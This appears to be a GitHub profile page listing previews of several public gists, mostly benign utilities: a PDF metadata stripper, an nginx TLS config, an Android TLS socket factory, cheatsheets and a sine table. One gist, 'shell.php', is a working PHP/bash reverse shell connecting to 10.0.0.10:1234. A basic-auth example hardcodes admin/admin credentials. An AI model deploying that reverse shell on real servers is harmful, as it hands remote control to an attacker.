Skip to content

Instantly share code, notes, and snippets.

View batica81's full-sized avatar
🎯
Focusing

Vojislav Ristivojevic batica81

🎯
Focusing
10 followers · 46 following
View GitHub Profile
@sneakers-the-rat
sneakers-the-rat / clean_pdf.sh
Last active February 10, 2025 18:41
Strip PDF Metadata
# --------------------------------------------------------------------
# Recursively find pdfs from the directory given as the first argument,
# otherwise search the current directory.
# Use exiftool and qpdf (both must be installed and locatable on $PATH)
# to strip all top-level metadata from PDFs.
#
# Note - This only removes file-level metadata, not any metadata
# in embedded images, etc.
#
# Code is provided as-is, I take no responsibility for its use,
@kdev33
kdev33 / unix-bash-cheatsheet.md
Last active August 7, 2024 10:37
Unix bash cheatsheet. Hope you find it useful 😉
@tinogomes
tinogomes / DNS_TO_LOCALHOST.markdown
Last active March 25, 2025 08:05
Public DNS Pointing to localhost (127.0.0.1)

Available Public Wildcard DNS Domains pointing to localhost (127.0.0.1)

The best way to safely and securely use local domains pointing to 127.0.0.1 is to edit your local settings (/etc/hosts) and add your own settings. Keep in mind if you want to use subdomains, you need to enter all variations.

Example:

# Adding bottom of your current file /etc/hosts
################# MY LOCAL DOMAINS
127.0.0.1 local.com admin.local.com
127.0.0.1 domain1.com
@rchrd2
rchrd2 / test-php-basic-auth.php
Last active March 16, 2025 12:38 — forked from westonruter/test-php-basic-auth.php
PHP basic auth example
<?php
function require_auth() {
$AUTH_USER = 'admin';
$AUTH_PASS = 'admin';
header('Cache-Control: no-cache, must-revalidate, max-age=0');
$has_supplied_credentials = !(empty($_SERVER['PHP_AUTH_USER']) && empty($_SERVER['PHP_AUTH_PW']));
$is_not_authenticated = (
!$has_supplied_credentials ||
$_SERVER['PHP_AUTH_USER'] != $AUTH_USER ||
$_SERVER['PHP_AUTH_PW'] != $AUTH_PASS
@fkrauthan
fkrauthan / TLSSocketFactory.java
Last active January 7, 2023 04:09
Custom SSLSocketFactory Implementation to enable tls 1.1 and tls 1.2 for android 4.1 (16+)
package net.cogindo.ssl;
import java.io.IOException;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import javax.net.ssl.SSLContext;
@rshipp
rshipp / shell.php
Created July 17, 2014 15:06
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@gavinhungry
gavinhungry / nginx-tls.conf
Last active March 7, 2025 19:38
Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
#
# Name: nginx-tls.conf
# Auth: Gavin Lloyd <[email protected]>
# Desc: Nginx SSL/TLS configuration for "A+" Qualys SSL Labs rating
#
# Enables HTTP/2, PFS, HSTS and OCSP stapling. Configuration options not related
# to SSL/TLS are not included here.
#
# Additional tips:
#
@plentz
plentz / nginx.conf
Last active May 3, 2025 05:27
Best nginx configuration for improved security(and performance)
# to generate your dhparam.pem file, run in the terminal
openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048
@henrik
henrik / tmux_cheatsheet.markdown
Created March 3, 2012 19:47
tmux cheatsheet

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@funkfinger
funkfinger / sine.c
Created May 11, 2011 04:00
8-bit sine wave table
/* ripped from http://aquaticus.info/pwm-sine-wave */
uint8_t sine_wave[256] = {
0x80, 0x83, 0x86, 0x89, 0x8C, 0x90, 0x93, 0x96,
0x99, 0x9C, 0x9F, 0xA2, 0xA5, 0xA8, 0xAB, 0xAE,
0xB1, 0xB3, 0xB6, 0xB9, 0xBC, 0xBF, 0xC1, 0xC4,
0xC7, 0xC9, 0xCC, 0xCE, 0xD1, 0xD3, 0xD5, 0xD8,
0xDA, 0xDC, 0xDE, 0xE0, 0xE2, 0xE4, 0xE6, 0xE8,
0xEA, 0xEB, 0xED, 0xEF, 0xF0, 0xF1, 0xF3, 0xF4,
0xF5, 0xF6, 0xF8, 0xF9, 0xFA, 0xFA, 0xFB, 0xFC,